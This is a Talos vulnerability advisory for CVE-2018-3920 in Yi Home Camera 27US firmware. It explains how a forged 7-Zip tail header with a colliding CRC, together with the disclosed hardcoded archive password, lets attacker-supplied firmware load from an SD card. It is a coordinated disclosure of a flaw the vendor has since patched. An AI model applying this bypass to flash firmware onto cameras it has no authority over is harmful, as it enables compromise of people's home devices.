Talos Vulnerability Report

TALOS-2018-0584

Yi Technology Home Camera 27US Firmware 7z CRC Collision Vulnerability

October 31, 2018
CVE Number

CVE-2018-3920

Summary

An exploitable code execution vulnerability exists in the firmware update functionality of the Yi Home Camera 27US 1.8.7.0D. A specially crafted 7-Zip file can cause a CRC collision, resulting in a firmware update and code execution. An attacker can insert an SDcard to trigger this vulnerability.

Tested Versions

Yi Technology Home Camera 27US 1.8.7.0D

Product URLs

https://www.yitechnology.com

CVSSv3 Score

7.6 - CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-328: Reversible One-Way Hash

Details

Yi Home Camera is an internet of things home camera sold globally. The 27US version is one of the newer models sold in the U.S., and is the most basic model out of the Yi Technology camera lineup. It still, however, includes all the functionality that one would expect from an IoT device: the ability to view video from anywhere, offline and subscription-based cloud storage, and ease of setup.

When updating the firmware of the Yi Home Camera, there are two options: over-the-air, or via a microSD card inserted into the device. Directions for this process can be found at http://www.yitechnology.com/Public/index/file/FirmwareUpdate.pdf, and the firmware files themselves are available at https://www.yitechnology.com/yi-720p-home-firmware. For the 27US version, the tar archive contains two files, home and home_y18m, but it only actually updates with the home_y18m, which will be the main subject of this writeup. Please note, this issue is referring to a local update only.

While the home file is a simple Uboot image and subsequent JFFS2 filesystem, the home_y18m firmware file is a lot more opaque:

 Len         |  Type |  Label    |  Example (if applicable)
(bytes)     |           |               |
 ___________________________________________
| 22 bytes | String | Version |  1.8.7.0D_201708091510 |
------------------------------------------------------------------
| 1344       | Bytes | enc_key|  N/A                         |
-------------------------------------------------------------------
| Leftover | Bytes | 7z Part  |  N/A                         |
-------------------------------------------------------------------

During the power-on stage, the following code in /home/base/init.sh runs:

if [ -f /tmp/sd/home_y18m ]; then   //[1] 
      dd if=/tmp/sd/home_y18m of=/tmp/newver bs=22 count=1      
      newver=$(cat /tmp/newver)
      curver=$(cat /home/homever)
      if [ $newver != $curver ]; then    //[2] 
             insmod /home/base/mmz.ko mmz=anonymous,0,0x81600000,10M anony=1 || report_error    //[3]
             insmod /home/base/hi_cipher.ko  //[4]
             mkdir /tmp/update
             cp -rf /home/base/tools/extpkg.sh /tmp/update/extpkg.sh
             /tmp/update/extpkg.sh /tmp/sd/home_y18m    //[5]

Which at [1] checks to see if the /tmp/sd/home_y18m file exits on the sdcard root directory. If it exists, then it looks at the Version string inside the firmware image, and compares it to the current firmware version at [2]. The kernel modules loaded at [3] and [4] will become relevant soon, but to continue, the actual firmware unpacking occurs in [5], when the /tmp/update/extpkg.sh script is run, which will be broken down now:

[...]
dd if=home_y18m of=ver bs=22 count=1
dd if=home_y18m of=home1 bs=22 skip=1 count=999999999999999
rm home_y18m
dd if=home1 of=enc_key bs=1344 count=1
dd if=home1 of=home2 bs=1344 skip=1 count=99999999999999
rm home1

At first, the script will extract the portions of the firmware as listed above, ver,enc_key, and the rest as home2. The interesting things happen next, though:

/tmp/update/rsa_pub_dec enc_key         // [1] 
cat dec_enc_key home2 > home3       // [2] 
rm home2
dd if=home3 of=home4 bs=66 skip=1 count=99999999 
dd if=home3 of=md5 bs=33 count=1                // [3]
dd if=home3 of=key bs=33 skip=1 count=1    // [4] 
dd if=home4 of=verkey bs=22 count=1          // [5]
rm home3
dd if=home4 of=home_v200.7z bs=22 skip=1 count=9999999999999   //[6] 

At [1], the enc_key is decrypted by a binary, presumably doing RSA decryption with a pub_key file that was copied into the directory earlier. The result of this decryption is placed in dec_enc_key, which gets prepended to home2 and thrown into home3. The first 33 bytes [3] of home3 are the md5sum of the firmware, and then the next 33 bytes [4] are the password used to decrypt a .7z archive, which comes from home4. Finally, the first 22 bytes [5] of home4 contain a version string used for version comparison.

After this, some nonsensical version comparisons fail, due to reasons explained in TALOS-2018-0566, and then the following command is run: /home/base/tools/exthome $key. In turn, the exthome binary runs the following command:

LDR     R1, =aHomeBaseTools7 ; "/home/base/tools/7za x -p%s home4"
BL      sprintf
STR     R0, [R11,#var_8]
SUB     R3, R11, #-var_400
SUB     R3, R3, #4
SUB     R3, R3, #4
MOV     R0, R3          ; command
BL      system

The -p parameter provided to 7za is just the value from the key field earlier, and as shown, home4 is hardcoded as the .7z archive being decrypted. After the decryption has happened, the /tmp/update/home/app/script/update.sh script is run to actually copy over the new firmware.

A major oversight in this process is that only a portion of the .7z firmware file is protected by the public/private key encryption. After the first 1366 bytes of home_y18m the contents are that of the final firmware file, with the exception of approximately the first 1024 bytes missing (as they are within the encrypted portion). Normally, this would be a stopper for most file formats, but we can further examine the .7z protocol for more options.

Before continuing, it should be noted that the password used for the 7-Zip encryption is QggGPGqdMtzMmO2RROSCpaSRo1iKEAp8, which was found by editing the firmware unpacking script. After this important detail is known, we can proceed with modifying the portion of the 7-Zip file that is not encrypted also by a private RSA key, and generate a valid home_y18m firmware file with our own files packaged that will pass all the sanity checks.

To develop our own modified 7-Zip file, let us examine the headers of the home4 7-Zip file:

boop@purgatory:/boop# python ../7z_parser.py ./home4
00000000  37 7a bc af 27 1c 00 04  8e a6 a6 e4 c0 57 24 00  |7z..'........W$.|
00000010  00 00 00 00 39 00 00 00  00 00 00 00 af cb ba 47  |....9..........G|

===========Begin 7z Header parsing (0x0->0x20)================
Signature      : "7z\xbc\xaf'\x1c"
Version        : 0x4
HeaderCrc      : 0xa35bc778
TailAddr       : 0x2457e0 

ë TailSize : 0x39

TailCrC        : 0xc452055e

The first metadata contained in the file is, as one would expect, right at the beginning, which means it's in the private key encrypted portion of the 7-Zip, so we cannot actually edit this portion of the 7-Zip without corrupting the data during the decryption process. Thankfully, we can note most important fields: TailAddr, TailSize, and TailCrC, which actually describe another metadata header (the Tail Header) further down in the 7-Zip, inside of the unencrypted portion.

Examining the Tail header at the address provided gives us the following output:

002457e0  17 06 e0 20 4f 24 01 09  88 a0 00 07 0b 01 00 02  |... O$..........|
002457f0  24 06 f1 07 01 0a 53 07  2b 24 76 43 6a 6b 66 94   |$.....S.+$vCjkf.|
00245800  23 03 01 01 05 5d 00 40  00 00 01 00 0c 88 98 b3  |#....].@........|
00245810  82 0a 01 5d 29 c8 39 00  00                                |...]).9..|

======Begin Tail header parsing (0x2457e0->0x245819)============
Hbyte          : 0x17 (kEncodedHeader)
Hbyte          : 0x06 (kPackInfo)
dataOffset     : 0x244f20               //[1]
numPackStreams : 0x01
Hbyte          : 0x09 (kSize)
packSize[0]    : 0x8a0
Hbyte          : 0x00 (kEnd)
Hbyte          : 0x07 (kUnpackInfo)
Hbyte          : 0x0b (kFolder)
numFolders     : 0x01
Useless read   : 0x00
numCoders      : 0x02
mainByte       : 0x24
CoderID[0]     : 0x6f10701 : (k_AES)
propsSize      : 0x0a
NumCyclesPower : 0x13
saltSize       : 0x00
ivSize         : 0x08
IV             : 0x1f0365f59f710bf1
mainByte       : 0x23
CoderID[1]     : 0x30101 : (k_LZMA)
propsSize      : 0x05
dicSize        : 0x4000
bIndex         : 0x5d
cIndex         : 0x00
Hbyte          : 0x0c (kCodersUnpackSize)
CoderUnpackSize: [2200, 13186]
Hbyte          : 0x0a (kCRC)            
allAreDefined  : 0x01
CRCBoolVec     : [255]
CRC[0]         : 0x5d29c839         //[2]
Hbyte          : 0x00 (kEnd)

Looking for the most important fields out of there for the purposes of exploitation, we can see dataOffset at [1], which points to the first input stream of the 7-Zip file at offset 0x244f20+0x20. This essentially points us to the first encoded input stream that we will be decoding with AES and then LZMA later on. Stepping back, we can also see that the resulting output stream has a CRC attached to it also, which, after decoding, will throw an error if the CRC does not match.

From heuristic testing, the first input stream describes the folders for the files, and also has a pointer to the encoded file data. In order to examine that, we'd have to decode and decrypt the first input stream so that we had the data required to decode the second input stream. But since that's a lot of work, the easier route is to just mess with the unencrypted/unencoded portions of the file for now, e.g. the Tail Header.

Remembering that we can't touch the TailAddr,TailSize, and TailCRC fields inside of the first header, in order to edit anything important, we have to make the CRC match 0xc452055e, which entails exploring exactly how 7-Zip does CRCs:

#define CRC_UPDATE_BYTE_2(crc, b) (table[((crc) ^ (b)) & 0xFF] ^ ((crc) >> 8))

UInt32 MY_FAST_CALL CrcUpdateT4(UInt32 v, const void *data, size_t size, const UInt32 *table){
 const Byte *p = (const Byte *)data;
const Byte *start = p;

for (; size > 0 && ((unsigned)(ptrdiff_t)p & 3) != 0; size--, p++){
        v = CRC_UPDATE_BYTE_2(v, *p)    // at this point, V = 0xFFFFFFFF
}

for (; size >= 4; size -= 4, p += 4){
        v ^= *(const UInt32 *)p;
        const UInt32 a = table[0x300 + ((v      ) & 0xFF)];
        const UInt32 b = table[0x200 + ((v >>  8) & 0xFF)];
        const UInt32 c = table[0x100 + ((v >> 16) & 0xFF)];
        const UInt32 d = table[0x000 + ((v >> 24))];

        v = table[0x300 + ((v      ) & 0xFF)]
               ^ table[0x200 + ((v >>  8) & 0xFF)]
               ^ table[0x100 + ((v >> 16) & 0xFF)]
               ^ table[0x000 + ((v >> 24))];
  }

for (; size > 0; size--, p++)
    v = CRC_UPDATE_BYTE_2(v, *p);

 return v;
}

We can summarize what it does: There is a table of 0x400 UInt32 variables, all set to somewhat random numbers, with no repeats (except for indexes 0x0,0x100,0x200, and 0x300 all are equal to 0x0). Then, it looks at every four bytes of the input buffer and splits those chunks into separate bytes. It takes four UInt32ís from the table that correspond to the bytes and their position, such that if the input buffer is 0x10203040, it would take the UInt32ís from table[0x010],table[0x120],table[0x230], and table[0x340] and XOR them all together. Then it would take this number, XOR it against the next four bytes of the input buffer, and repeat. To make the process easier to understand, we can attach a lot of printfs to the 7-Zip code as such:

# current_header.bin (tailer for home4)
00000000  17 06 e0 20 4f 24 01 09  88 a0 00 07 0b 01 00 02  |... O$..........|
00000010  24 06 f1 07 01 0a 53 07  1f 03 65 f5 9f 71 0b f1  |$.....S...e..q..|
00000020  23 03 01 01 05 5d 00 40  00 00 01 00 0c 88 98 b3  |#....].@........|
00000030  82 0a 01 5d 29 c8 39 00  00                       |...]).9..|

boop@purgatory:/boop# ./crc_gen current_header.bin
[^_^] File len: 57 bytes
Buff: 0x55ca3a077420
size: 57, p:0x55ca3a077420
Byte[0](0x17) V => 0xffffffff
0xffffffff ^ 0x20e00617 = 0xdf1ff9e8 |0x13cb69d7^0xba15485f^0xcd5a0e9e^0x166ccf45   =>0x72e8e053
0x72e8e053 ^ 0x0901244f = 0x7be9c41c |  0x1acfe827^0x96a63e9c^0x8fbc48a5^0xc7d7a8b4 =>0xc40236aa
0xc40236aa ^ 0x0700a088 = 0xc3029622 |  0x0a3b67b5^0xf99ec442^0x32366282^0x026d930a =>0xc3fe527f
0xc3fe527f ^ 0x0200010b = 0xc1fe5374 |0xe45d37cb^0x6efa90e9^0x8a3fcc33^0xec63f226   =>0xecfb9937
0xecfb9937 ^ 0x07f10624 = 0xeb0a9f13 |0x42acf871^0xf64fffcd^0xfaefe88a^0x37d83bf0   =>0x79d4d4c6
0x79d4d4c6 ^ 0x07530a01 = 0x7e87dec7 |  0xeb9ad6bf^0x8717183a^0x74c20e8c^0xb7bd5c3b =>0xaff29c32
0xaff29c32 ^ 0xf565031f = 0x5a979f2d |0x525877e3^0xf64fffcd^0x3e001cdd^0x8bbeb8ea   =>0x11a92c19
0x11a92c19 ^ 0xf10b719f = 0xe0a25d86 |  0xc832e9e7^0x6464bde3^0x9c31de6b^0xa00ae278 =>0x906d6817
0x906d6817 ^ 0x01010323 = 0x916c6b34 |  0x7f496ff6^0x448224c1^0xc94824ab^0x8708a3d2 =>0x758bcc4e
0x758bcc4e ^ 0x40005d05 = 0x358b914b |  0x4c15df3c^0xfcd1d2c7^0xd8774180^0x56b3c423 =>0x3e008858
0x3e008858 ^ 0x00010000 = 0x3e018858 |  0x0eb9274d^0xef264a38^0x191b3141^0xc1611dab =>0x39e5419f
0x39e5419f ^ 0xb398880c = 0x8a7dc993 |  0xaff54e4a^0x9e7eadcf^0x9a9107bb^0x0d6d6a3e =>0xa6778e00
0xa6778e00 ^ 0x5d010a82 = 0xfb768482 |  0x47507eb0^0xe63cb35c^0x7965de70^0x2a6f2b94 =>0xf2663808
0xf2663808 ^ 0x0039c829 = 0xf25ff021 |  0x188ec85b^0xb5c473d0^0x3d23419b^0x53b39330 =>0xc3da6920 
Starting second round (size:1, V:0xc3da6920, *p:0x0)
size: 0, p:0x55ca3a077459
Byte[57](0x0) V => 0x3badfaa1
CRC for current_header.bin: 0xc452055e  

The end result generates the desired CRC that we saw in the 7z headers from before, so we're on the right track. The question now is how to bypass this check and generate our desired headers while also colliding the CRC.

In order to get 7-Zip to unpack our own files instead of the official file/encrypted firmware, we can just move the dataOffset header from 0x244f20 to wherever we want. Obviously, this will change the generated CRC, but since the CRC mainly uses XOR, and we know the final CRC that we want to generate (0xc452055e), we can just XOR whatever we generate in the second to last iteration with a number to make turn it into 0xf25ff021. This will cause the table indexing operation to generate the values required to end up with 0xc452055e. We must now figure out what parts of the TailHeader can be edited without throwing errors.

Killing two birds with one stone, we can actually make the following modifications at the end of the 7-Zip file:

# current_header.bin (tailer for home4)
00000000  17 06 e0 20 4f 24 01 09  88 a0 00 07 0b 01 00 02  
00000010  24 06 f1 07 01 0a 53 07  1f  03 65 f5 9f 71  0b f1 
00000020  23 03 01 01 05 5d 00 40  00 00 01 00 0c 88 98 b3  
00000030  82 0a 01 5d 29 c8 39 00  00     
        VVVVVVVVVVV
00000030  82 00 00 00 a1 16 86 dc  00

                =>
Hbyte            : 0x0a (kCRC)  |     Hbyte               : 0x0a (kEnd)  
allAreDefined  : 0x01          |     allAreDefined  : 0x00
CRCBoolVec   : [255]       |     Hbyte            : 0x00 (kEnd)
CRC[0]            : 0x5d29c839     |     ExtraBytes:      : 0xa11686dc
Hbyte               : 0x00 (kEnd)      |     

The allAreDefined field determines if the CRCs for all the unpacked folders are defined, and if it's not set, it doesn't end up checking the folder CRCs afterwards. Then, we throw another null to exit out of the TailHeader parsing, and another null for alignment. We're still under the TailSize limit with five bytes left, so we can append whatever bytes we need in order to make the CRC collision work, regardless of whatever changes made to the rest of the TailHeader:

00000000  17 06 e0 20 58 24 01 09  88 a0 00 07 0b 01 00 02   //[1]
00000010  24 06 f1 07 01 0a 53 07  1f  03 65 f5 9f 71  0b f1 
00000020  23 03 01 01 05 5d 00 40  00 00 01 00 0c 88 98 b3  
00000030  82 00 00 00 a1 16 86 dc  00

./crc_gen secondedits.bin
[^_^] File len: 57 bytes
Buff: 0x563edd990420
size: 57, p:0x563edd990420
Byte[0](0x17) V => 0xffffffff
0xffffffff ^ 0x20e00617 = 0xdf1ff9e8 |0x13cb69d7^0xba15485f^0xcd5a0e9e^0x166ccf45   =>0x72e8e053
0x72e8e053 ^ 0x09012458 = 0x7be9c40b |  0xd7018701^0x96a63e9c^0x8fbc48a5^0xc7d7a8b4 =>0x09cc598c
0x09cc598c ^ 0x0700a088 = 0x0eccf904 |  0x8f629757^0xba15485f^0x674f9842^0xe7b82d07 =>0xb5806a4d
0xb5806a4d ^ 0x0200010b = 0xb7806b46 |  
[Ö]  // (Truncated for brevity)
0xc377486b^0xd52db281^0x635db277^0x5bdeae1d =>0x2ed9e680
0x2ed9e680 ^ 0xdc8616a1 = 0xf25ff021 |  0x188ec85b^0xb5c473d0^0x3d23419b^0x53b39330 =>0xc3da6920
Starting second round (size:1, V:0xc3da6920, *p:0x0)
size: 0, p:0x563edd990459
Byte[57](0x0) V => 0x3badfaa1
CRC for secondedits.bin: 0xc452055e  //[2]

As seen at [1], we have changed the dataOffset field to actually point past the TailHeader (which throws a warning, but will still decompress), and at [2] we can see that the CRC matches the untouched CRC from the original home4 file, thus allowing us to append or alter whatever data we want (that's not encrypted by the RSA private key), and still have it decompress successfully, allowing for a user-controlled firmware update.

It should be noted that there would still be some work to be done in generating the corresponding encrypted folder and file data, but to help speed things along, the AES IV for each Input Stream can be found within the decoded/decrypted input stream headers, along with the IV size, number of Sha256 iterations to generate the key, and the lack of a salt. Also worth noting is that the password string provided (QggGPGqdMtzMmO2RROSCpaSRo1iKEAp8) gets expanded to 64 bytes beforehand by turning it into a unicode string (appending ì\x00î to each char).

Timeline

2018-05-01 - Vendor disclosure
2018-09-03 - Vendor submitted build to Talos for testing
2018-09-05 - Talos confirmed issue patched
2018-10-22 - Vendor released new firmware
2018-10-31 - Public release

Credit

Discovered by Lilith <(^_^)> of Cisco Talos.